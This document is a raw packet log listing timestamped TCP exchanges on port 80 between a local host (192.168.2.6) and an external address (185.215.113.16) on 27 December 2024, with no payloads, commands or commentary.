Dec 27, 2024 08:50:47.610435009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.610486031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.610513926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.610954046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.610994101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.611051083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.611866951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.611907005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.611958027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.612818956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.612863064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.612864017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.613681078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.613722086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.613807917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.614598036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.614630938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.614691973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.615520954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.615564108 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.615639925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.616414070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.616472006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.616516113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.617299080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.617338896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.704252005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.712928057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.739459991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.739521980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.739588976 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.739876986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.740020037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.740066051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.740818024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.741147995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.741189003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.741236925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.742058039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.742108107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.742192984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.742968082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.743017912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.743055105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.743858099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.743913889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.743984938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.744791031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.744827986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.744868994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.745699883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.745734930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.745784044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.746599913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.746645927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.746684074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.747483969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.747529984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.747601986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.748414040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.748455048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.748524904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.749326944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.749371052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.749409914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.750227928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.750287056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.750314951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.751127005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.751213074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.751245022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.752044916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.752098083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.752142906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.752953053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.753000975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.753062010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.753865004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.753911018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.753972054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.754770041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.754807949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.754920006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.755691051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.755729914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.755806923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.756608963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.756668091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.756714106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.757534027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.757575989 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.757675886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.758471012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.758527040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.758532047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.759324074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.759368896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.759429932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.760256052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.760344028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.760345936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.761214018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.761272907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.761288881 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.762074947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.762137890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.762175083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.762979984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.763034105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.763073921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.763868093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.763909101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.763972998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.764781952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.764832020 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.764882088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.765712976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.765784025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.765822887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.766629934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.766670942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.766727924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.767590046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.767668009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.767692089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.768578053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.768635035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.768636942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.769326925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.769398928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.769432068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.770253897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.770328045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.770363092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.771174908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.771222115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.771259069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.772092104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.772171021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.772175074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.772986889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.773036003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.773076057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.773964882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.774048090 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.774152040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.774852991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.774930954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.774946928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.775765896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.775831938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.775857925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.776616096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.776720047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.776762962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.777610064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.777676105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.777692080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.778440952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.778512001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.778551102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.779422045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.779467106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.779491901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.780282021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.780328035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.780365944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.781176090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.781225920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.781251907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.782071114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.782129049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.782166004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.782974005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.783060074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.783097982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.783891916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.783953905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.875504971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.883178949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.307017088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.307176113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.307379007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.307459116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.307600021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.307813883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.307956934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.308017015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.308433056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.308528900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.309395075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.309461117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.309470892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.309931993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.310250044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.310358047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.311163902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.311244011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.311296940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.311350107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.312057018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.312186956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.312315941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.312992096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.313102961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.313220024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.313937902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.314115047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.314835072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.314908028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.314963102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.315921068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.315985918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.316106081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.316629887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.316765070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.317555904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.317625046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.317676067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.318460941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.318553925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.319355011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.319417953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.319448948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.320127010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.320255041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.320364952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.320409060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.321223021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.321290970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.321340084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.322101116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.322184086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.322278976 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.323010921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.323178053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.323824883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.323932886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.324002981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.324055910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.324807882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.324956894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.325071096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.325757027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.325839996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.326647043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.326715946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.326739073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.327526093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.327644110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.327724934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.328465939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.328661919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.328938961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.329356909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.329515934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.329615116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.330269098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.330382109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.330566883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.331202984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.331301928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.331361055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.332104921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.332218885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.332526922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.333009005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.333093882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.333141088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.333920956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.334008932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.334825993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.334918976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.334985018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.335783005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.335971117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.336649895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.336649895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.336868048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.336911917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.337721109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.337816954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.337927103 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.338501930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.338622093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.338675976 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.339422941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.339437008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.339489937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.340290070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.340398073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.340554953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.341209888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.341325998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.341377974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.342108965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.342205048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.342257977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.343038082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.343141079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.343275070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.343970060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.343998909 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.344074011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.344115019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.344835043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.344945908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.345750093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.345822096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.345854044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.346633911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.346659899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.346750975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.347136974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.347594023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.347697020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.347906113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.348722935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.348880053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.348923922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.349646091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.349713087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.350248098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.350331068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.350404024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.350450993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.351227999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.351326942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.351372957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.351886034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.352174997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.352325916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.352427006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.353174925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.353279114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.353931904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.353990078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.354057074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.354841948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.354942083 CET	80	49752	185.215.113.16	192.168.2.6
